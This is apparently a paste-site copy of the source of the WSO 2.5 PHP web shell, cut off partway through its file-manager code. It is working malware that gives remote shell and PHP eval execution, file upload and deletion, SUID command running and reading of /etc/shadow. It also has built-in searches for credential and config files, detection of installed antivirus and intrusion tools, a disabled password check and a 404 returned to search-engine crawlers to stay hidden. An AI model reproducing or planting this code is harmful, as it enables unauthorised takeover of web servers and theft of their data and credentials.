· 10 years ago · Jun 20, 2016, 09:03 AM
1<?php
2$auth_pass = "adb0f6dd543d5cb0ccac7e9c701a0511";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8@ini_set('error_log',NULL);
9@ini_set('log_errors',0);
10
11function WSOsetcookie($k, $v) {
12 $_COOKIE[$k] = $v;
13 setcookie($k, $v);
14}
15
16function wsoLogin() {
17 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
18 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
19 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
20 header('HTTP/1.0 404 Not Found');
21 exit;
22 }
23 }
24
25die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
26}
27
28if (isset($_POST['a']))
29switch($_POST['a']) {
30case 'Rsuid':
31 if (!empty($_POST['ok'])) {
32 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'sname', $_POST['sname']);
33 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'spass', $_POST['spass']);
34 unset($_POST['sname']);
35 }
36 if (!empty($_POST['disable'])) {
37 setcookie(md5($_SERVER['HTTP_HOST']).'sname', '', time() - 3600);
38 setcookie(md5($_SERVER['HTTP_HOST']).'spass', '', time() - 3600);
39 unset($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname']);
40 unset($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']);
41 unset($_POST['sname']);
42 }
43case 'FilesMan':
44 if(!empty($_POST['p1']) && $_POST['p1']!= 'uploadFile'||'mkdir'||'delete'||'paste') {
45 WSOsetcookie('act', $_POST['p1']);
46 WSOsetcookie('f', serialize(@$_POST['f']));
47 WSOsetcookie('c', @$_POST['c']);
48 }
49case 'Php':
50 if(isset($_POST['ajax']))
51 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
52 if(empty($_POST['ajax']) && !empty($_POST['p1']))
53 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
54case 'Console':
55 if(!empty($_POST['p1']) && !empty($_POST['p2']))
56 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
57 elseif(!empty($_POST['p1']))
58 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
59 if(isset($_POST['ajax']))
60 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
61 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
62 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
63
64}
65
66if (!empty($argc) && (int)$argc == 3 && $argv[1] == $auth_pass) {
67
68$RG = unserialize(base64_decode($argv[2]));
69 $_POST = $RG['_POST'];
70 $_COOKIE = $RG['_COOKIE'];
71 $_FILES = $RG['_FILES'];
72 $_SERVER = $RG['_SERVER'];
73define('suid', 1);
74} elseif(!empty($auth_pass)) {
75 //if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
76 //WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
77
78 //if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
79 //wsoLogin();
80}
81
82@ini_set('max_execution_time',0);
83@set_time_limit(0);
84@set_magic_quotes_runtime(0);
85@define('WSO_VERSION', '2.5 Root Modificed ');
86
87if(get_magic_quotes_gpc()) {
88 function WSOstripslashes($array) {
89 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
90 }
91 $_POST = WSOstripslashes($_POST);
92 $_COOKIE = WSOstripslashes($_COOKIE);
93}
94
95
96if (!empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname']) && !empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']) && $_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'] != '' && !defined('suid')) {
97
98echo wsoEx($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'].' '.$_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']. ' "php '.$_SERVER['SCRIPT_FILENAME'].' \''.addslashes($_COOKIE[md5($_SERVER['HTTP_HOST'])]).'\' '.'\''.base64_encode(serialize($GLOBALS)).'\'"');
99
100exit;
101}
102
103if(strtolower(substr(PHP_OS,0,3)) == "win")
104 $os = 'win';
105else
106 $os = 'nix';
107
108$safe_mode = @ini_get('safe_mode');
109if(!$safe_mode)
110 error_reporting(0);
111
112$disable_functions = @ini_get('disable_functions');
113$home_cwd = @getcwd();
114if(isset($_POST['c']))
115 @chdir($_POST['c']);
116$cwd = @getcwd();
117if($os == 'win') {
118 $home_cwd = str_replace("\\", "/", $home_cwd);
119 $cwd = str_replace("\\", "/", $cwd);
120}
121if($cwd[strlen($cwd)-1] != '/')
122 $cwd .= '/';
123
124if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
125 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
126
127if($os == 'win')
128 $aliases = array(
129 "List Directory" => "dir",
130 "Find index.php in current dir" => "dir /s /w /b index.php",
131 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
132 "Show active connections" => "netstat -an",
133 "Show running services" => "net start",
134 "User accounts" => "net user",
135 "Show computers" => "net view",
136 "ARP Table" => "arp -a",
137 "IP Configuration" => "ipconfig /all"
138 );
139else
140 $aliases = array(
141 "List dir" => "ls -lha",
142 "list file attributes on a Linux second extended file system" => "lsattr -va",
143 "show opened ports" => "netstat -an | grep -i listen",
144 "process status" => "ps aux",
145 "Find" => "",
146 "find all suid files" => "find / -type f -perm -04000 -ls",
147 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
148 "find all sgid files" => "find / -type f -perm -02000 -ls",
149 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
150 "find config.inc.php files" => "find / -type f -name config.inc.php",
151 "find config* files" => "find / -type f -name \"config*\"",
152 "find config* files in current dir" => "find . -type f -name \"config*\"",
153 "find all writable folders and files" => "find / -perm -2 -ls",
154 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
155 "find all service.pwd files" => "find / -type f -name service.pwd",
156 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
157 "find all .htpasswd files" => "find / -type f -name .htpasswd",
158 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
159 "find all .bash_history files" => "find / -type f -name .bash_history",
160 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
161 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
162 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
163 "Locate" => "",
164 "locate httpd.conf files" => "locate httpd.conf",
165 "locate vhosts.conf files" => "locate vhosts.conf",
166 "locate proftpd.conf files" => "locate proftpd.conf",
167 "locate psybnc.conf files" => "locate psybnc.conf",
168 "locate my.conf files" => "locate my.conf",
169 "locate admin.php files" =>"locate admin.php",
170 "locate cfg.php files" => "locate cfg.php",
171 "locate conf.php files" => "locate conf.php",
172 "locate config.dat files" => "locate config.dat",
173 "locate config.php files" => "locate config.php",
174 "locate config.inc files" => "locate config.inc",
175 "locate config.inc.php" => "locate config.inc.php",
176 "locate config.default.php files" => "locate config.default.php",
177 "locate config* files " => "locate config",
178 "locate .conf files"=>"locate '.conf'",
179 "locate .pwd files" => "locate '.pwd'",
180 "locate .sql files" => "locate '.sql'",
181 "locate .htpasswd files" => "locate '.htpasswd'",
182 "locate .bash_history files" => "locate '.bash_history'",
183 "locate .mysql_history files" => "locate '.mysql_history'",
184 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
185 "locate backup files" => "locate backup",
186 "locate dump files" => "locate dump",
187 "locate priv files" => "locate priv"
188 );
189
190function wsoHeader() {
191 if(empty($_POST['charset']))
192 $_POST['charset'] = $GLOBALS['default_charset'];
193 global $color;
194 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
195<style>
196body{background-color:#444;color:#e1e1e1;}
197body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
198table.info{ color:#fff;background-color:#222; }
199span,h1,a{ color: $color !important; }
200span{ font-weight: bolder; }
201h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
202div.content{ padding: 5px;margin-left:5px;background-color:#333; }
203a{ text-decoration:none; }
204a:hover{ text-decoration:underline; }
205.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
206.bigarea{ width:100%;height:300px; }
207input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
208form{ margin:0px; }
209#toolsTbl{ text-align:center; }
210.toolsInp{ width: 300px }
211.main th{text-align:left;background-color:#5e5e5e;}
212.main tr:hover{background-color:#5e5e5e}
213.l1{background-color:#444}
214.l2{background-color:#333}
215pre{font-family:Courier,Monospace;}
216</style>
217<script>
218 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
219 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
220 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
221 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
222 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
223 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
224 var d = document;
225 function set(a,c,p1,p2,p3,charset) {
226 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
227 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
228 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
229 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
230 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
231 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
232 }
233 function g(a,c,p1,p2,p3,charset) {
234 set(a,c,p1,p2,p3,charset);
235 d.mf.submit();
236 }
237 function a(a,c,p1,p2,p3,charset) {
238 set(a,c,p1,p2,p3,charset);
239 var params = 'ajax=true';
240 for(i=0;i<d.mf.elements.length;i++)
241 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
242 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
243 }
244 function sr(url, params) {
245 if (window.XMLHttpRequest)
246 req = new XMLHttpRequest();
247 else if (window.ActiveXObject)
248 req = new ActiveXObject('Microsoft.XMLHTTP');
249 if (req) {
250 req.onreadystatechange = processReqChange;
251 req.open('POST', url, true);
252 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
253 req.send(params);
254 }
255 }
256 function processReqChange() {
257 if( (req.readyState == 4) )
258 if(req.status == 200) {
259 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
260 var arr=reg.exec(req.responseText);
261 eval(arr[2].substr(0, arr[1]));
262 } else alert('Request error!');
263 }
264</script>
265<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
266<form method=post name=mf style='display:none;'>
267<input type=hidden name=a>
268<input type=hidden name=c>
269<input type=hidden name=p1>
270<input type=hidden name=p2>
271<input type=hidden name=p3>
272<input type=hidden name=charset>
273</form>";
274 $freeSpace = @diskfreespace($GLOBALS['cwd']);
275 $totalSpace = @disk_total_space($GLOBALS['cwd']);
276 $totalSpace = $totalSpace?$totalSpace:1;
277 $release = @php_uname('r');
278 $kernel = @php_uname('s');
279 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
280 if(strpos('Linux', $kernel) !== false)
281 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
282 else
283 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
284 if(!function_exists('posix_getegid')) {
285 $user = @get_current_user();
286 $uid = @getmyuid();
287 $gid = @getmygid();
288 $group = "?";
289 } else {
290 $uid = @posix_getpwuid(posix_geteuid());
291 $gid = @posix_getgrgid(posix_getegid());
292 $user = $uid['name'];
293 $uid = $uid['uid'];
294 $group = $gid['name'];
295 $gid = $gid['gid'];
296 }
297
298 $cwd_links = '';
299 $path = explode("/", $GLOBALS['cwd']);
300 $n=count($path);
301 for($i=0; $i<$n-1; $i++) {
302 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
303 for($j=0; $j<=$i; $j++)
304 $cwd_links .= $path[$j].'/';
305 $cwd_links .= "\")'>".$path[$i]."/</a>";
306 }
307
308 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
309 $opt_charsets = '';
310 foreach($charsets as $item)
311 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
312
313 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Suid'=>'Rsuid','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
314 if(!empty($GLOBALS['auth_pass']))
315 $m['Logout'] = 'Logout';
316 $m['Self remove'] = 'SelfRemove';
317 $menu = '';
318 foreach($m as $k => $v)
319 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
320
321 $drives = "";
322 if($GLOBALS['os'] == 'win') {
323 foreach(range('c','z') as $drive)
324 if(is_dir($drive.':\\'))
325 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
326 }
327 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
328 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
329 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
330 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
331 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
332}
333
334function wsoFooter() {
335 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
336 echo "
337</div>
338<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
339 <tr>
340 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
341 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
342 </tr><tr>
343 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
344 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
345 </tr><tr>
346 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
347 <td><form method='post' ENCTYPE='multipart/form-data'>
348 <input type=hidden name=a value='FilesMAn'>
349 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
350 <input type=hidden name=p1 value='uploadFile'>
351 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
352 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
353 </tr></table></div></body></html>";
354}
355
356function actionRsuid() {
357wsoHeader();
358echo '<h1>SUID Exec</h1><div classwsoEx(=content><form method="post">';
359if (!empty($_POST['sname'])) {
360$id = wsoEx($_POST['sname'].' '.(isset($_POST['spass'])?htmlspecialchars($_POST['spass']):'').' id');
361if(strpos($id, 'uid') === 0)
362 echo '<font color="green">'.$id.'</font>';
363 else
364 echo '<font color="red">'.$id.'</font>';
365echo '<br><input type="hidden" name="susave" value="susave"/><tabe><tr><td>Are you sure you want to save changes?</td></tr><br><tr><td align=center><input type="submit" value="Yes" name="ok"></td></tr></table><hr>';
366$_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'] = $_POST['sname'];
367$_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'] = isset($_POST['spass'])?$_POST['spass']:'';
368}
369
370echo '<table><tr><td>Suid: </td><td><input type="text" name="sname" value="'.(isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'])?htmlspecialchars($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'], ENT_COMPAT):'').'"/></td></tr><tr>
371<td>Password: </td><td><input type="text" name="spass" value="'.(isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'])?htmlspecialchars($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'], ENT_COMPAT):'').'"/></td><td>
372<input type="hidden" name="a" value="Rsuid"/>
373<input type="submit" value=">>"></td></tr>
374</table>
375<input type="submit" value="Disable" name="disable">
376</form>';
377
378echo '</div>';
379wsoFooter();
380}
381if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
382 function posix_getpwuid($p) {return false;} }
383if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
384 function posix_getgrgid($p) {return false;} }
385
386function wsoEx($in) {
387 $out = '';
388 if (function_exists('exec')) {
389 @exec($in,$out);
390 $out = @join("\n",$out);
391 } elseif (function_exists('passthru')) {
392 ob_start();
393 @passthru($in);
394 $out = ob_get_clean();
395 } elseif (function_exists('system')) {
396 ob_start();
397 @system($in);
398 $out = ob_get_clean();
399 } elseif (function_exists('shell_exec')) {
400 $out = shell_exec($in);
401 } elseif (is_resource($f = @popen($in,"r"))) {
402 $out = "";
403 while(!@feof($f))
404 $out .= fread($f,1024);
405 pclose($f);
406 } else return 'Unable to execute command';
407 return ($out==''?'Query did not return anything':$out);
408}
409
410function wsoViewSize($s) {
411 if($s >= 1073741824)
412 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
413 elseif($s >= 1048576)
414 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
415 elseif($s >= 1024)
416 return sprintf('%1.2f', $s / 1024 ) . ' KB';
417 else
418 return $s . ' B';
419}
420
421function wsoPerms($p) {
422 if (($p & 0xC000) == 0xC000)$i = 's';
423 elseif (($p & 0xA000) == 0xA000)$i = 'l';
424 elseif (($p & 0x8000) == 0x8000)$i = '-';
425 elseif (($p & 0x6000) == 0x6000)$i = 'b';
426 elseif (($p & 0x4000) == 0x4000)$i = 'd';
427 elseif (($p & 0x2000) == 0x2000)$i = 'c';
428 elseif (($p & 0x1000) == 0x1000)$i = 'p';
429 else $i = 'u';
430 $i .= (($p & 0x0100) ? 'r' : '-');
431 $i .= (($p & 0x0080) ? 'w' : '-');
432 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
433 $i .= (($p & 0x0020) ? 'r' : '-');
434 $i .= (($p & 0x0010) ? 'w' : '-');
435 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
436 $i .= (($p & 0x0004) ? 'r' : '-');
437 $i .= (($p & 0x0002) ? 'w' : '-');
438 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
439 return $i;
440}
441
442function wsoPermsColor($f) {
443 if (!@is_readable($f))
444 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
445 elseif (!@is_writable($f))
446 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
447 else
448 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
449}
450
451function wsoScandir($dir) {
452 if(function_exists("scandir")) {
453 return scandir($dir);
454 } else {
455 $dh = opendir($dir);
456 while (false !== ($filename = readdir($dh)))
457 $files[] = $filename;
458 return $files;
459 }
460}
461
462function wsoWhich($p) {
463 $path = wsoEx('which ' . $p);
464 if(!empty($path))
465 return $path;
466 return false;
467}
468
469function actionSecInfo() {
470 wsoHeader();
471 echo '<h1>Server security information</h1><div class=content>';
472 function wsoSecParam($n, $v) {
473 $v = trim($v);
474 if($v) {
475 echo '<span>' . $n . ': </span>';
476 if(strpos($v, "\n") === false)
477 echo $v . '<br>';
478 else
479 echo '<pre class=ml1>' . $v . '</pre>';
480 }
481 }
482
483 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
484 if(function_exists('apache_get_modules'))
485 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
486 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
487 wsoSecParam('Open base dir', @ini_get('open_basedir'));
488 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
489 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
490 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
491 $temp=array();
492 if(function_exists('mysql_get_client_info'))
493 $temp[] = "MySql (".mysql_get_client_info().")";
494 if(function_exists('mssql_connect'))
495 $temp[] = "MSSQL";
496 if(function_exists('pg_connect'))
497 $temp[] = "PostgreSQL";
498 if(function_exists('oci_connect'))
499 $temp[] = "Oracle";
500 wsoSecParam('Supported databases', implode(', ', $temp));
501 echo '<br>';
502
503 if($GLOBALS['os'] == 'nix') {
504 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
505 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
506 wsoSecParam('OS version', @file_get_contents('/proc/version'));
507 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
508 if(!$GLOBALS['safe_mode']) {
509 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
510 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
511 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
512 echo '<br>';
513 $temp=array();
514 foreach ($userful as $item)
515 if(wsoWhich($item))
516 $temp[] = $item;
517 wsoSecParam('Userful', implode(', ',$temp));
518 $temp=array();
519 foreach ($danger as $item)
520 if(wsoWhich($item))
521 $temp[] = $item;
522 wsoSecParam('Danger', implode(', ',$temp));
523 $temp=array();
524 foreach ($downloaders as $item)
525 if(wsoWhich($item))
526 $temp[] = $item;
527 wsoSecParam('Downloaders', implode(', ',$temp));
528 echo '<br/>';
529 wsoSecParam('HDD space', wsoEx('df -h'));
530 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
531 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
532 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
533 $temp = "";
534 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
535 $uid = @posix_getpwuid($_POST['p2']);
536 if ($uid)
537 $temp .= join(':',$uid)."\n";
538 }
539 echo '<br/>';
540 wsoSecParam('Users', $temp);
541 }
542 }
543 } else {
544 wsoSecParam('OS Version',wsoEx('ver'));
545 wsoSecParam('Account Settings',wsoEx('net accounts'));
546 wsoSecParam('User Accounts',wsoEx('net user'));
547 }
548 echo '</div>';
549 wsoFooter();
550}
551
552function actionPhp() {
553 if(isset($_POST['ajax'])) {
554 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
555 ob_start();
556 eval($_POST['p1']);
557 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
558 echo strlen($temp), "\n", $temp;
559 exit;
560 }
561 if(empty($_POST['ajax']) && !empty($_POST['p1']))
562 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
563
564 wsoHeader();
565 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
566 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
567 ob_start();
568 phpinfo();
569 $tmp = ob_get_clean();
570 $tmp = preg_replace(array (
571 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
572 '!td, th {(.*)}!msiU',
573 '!<img[^>]+>!msiU',
574 ), array (
575 '',
576 '.e, .v, .h, .h th {$1}',
577 ''
578 ), $tmp);
579 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
580 }
581 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
582 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
583 if(!empty($_POST['p1'])) {
584 ob_start();
585 eval($_POST['p1']);
586 echo htmlspecialchars(ob_get_clean());
587 }
588 echo '</pre></div>';
589 wsoFooter();
590}
591
592function actionFilesMan() {
593 if (!empty ($_COOKIE['f']))
594 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
595
596 if(!empty($_POST['p1'])) {
597 switch($_POST['p1']) {
598 case 'uploadFile':
599 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
600 if(!@copy($_FILES['f']['tmp_name'], $_FILES['f']['name']))
601 echo "Can't upload file!";
602 break;
603 case 'mkdir':
604 if(!@mkdir($_POST['p2']))
605 echo "Can't create new dir";
606 break;
607 case 'delete':
608 function deleteDir($path) {
609 $path = (substr($path,-1)=='/') ? $path:$path.'/';
610 $dh = opendir($path);
611 while ( ($item = readdir($dh) ) !== false) {
612 $item = $path.$item;
613 if ( (basename($item) == "..") || (basename($item) == ".") )
614 continue;
615 $type = filetype($item);
616 if ($type == "dir")
617 deleteDir($item);
618 else
619 @unlink($item);
620 }
621 closedir($dh);
622 @rmdir($path);
623 }
624 if(is_array(@$_POST['f']))
625 foreach($_POST['f'] as $f) {
626 if($f == '..')
627 continue;
628 $f = urldecode($f);
629 if(is_dir($f))
630 deleteDir($f);
631 else
632 @unlink($f);
633 }
634 break;
635 case 'paste':
636 if($_COOKIE['act'] == 'copy') {
637 function copy_paste($c,$s,$d){
638 if(is_dir($c.$s)){
639 mkdir($d.$s);
640 $h = @opendir($c.$s);
641 while (($f = @readdir($h)) !== false)
642 if (($f != ".") and ($f != ".."))
643 copy_paste($c.$s.'/',$f, $d.$s.'/');
644 } elseif(is_file($c.$s))
645 @copy($c.$s, $d.$s);
646 }
647 foreach($_COOKIE['f'] as $f)
648 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
649 } elseif($_COOKIE['act'] == 'move') {
650 function move_paste($c,$s,$d){
651 if(is_dir($c.$s)){
652 mkdir($d.$s);
653 $h = @opendir($c.$s);
654 while (($f = @readdir($h)) !== false)
655 if (($f != ".") and ($f != ".."))
656 copy_paste($c.$s.'/',$f, $d.$s.'/');
657 } elseif(@is_file($c.$s))
658 @copy($c.$s, $d.$s);
659 }
660 foreach($_COOKIE['f'] as $f)
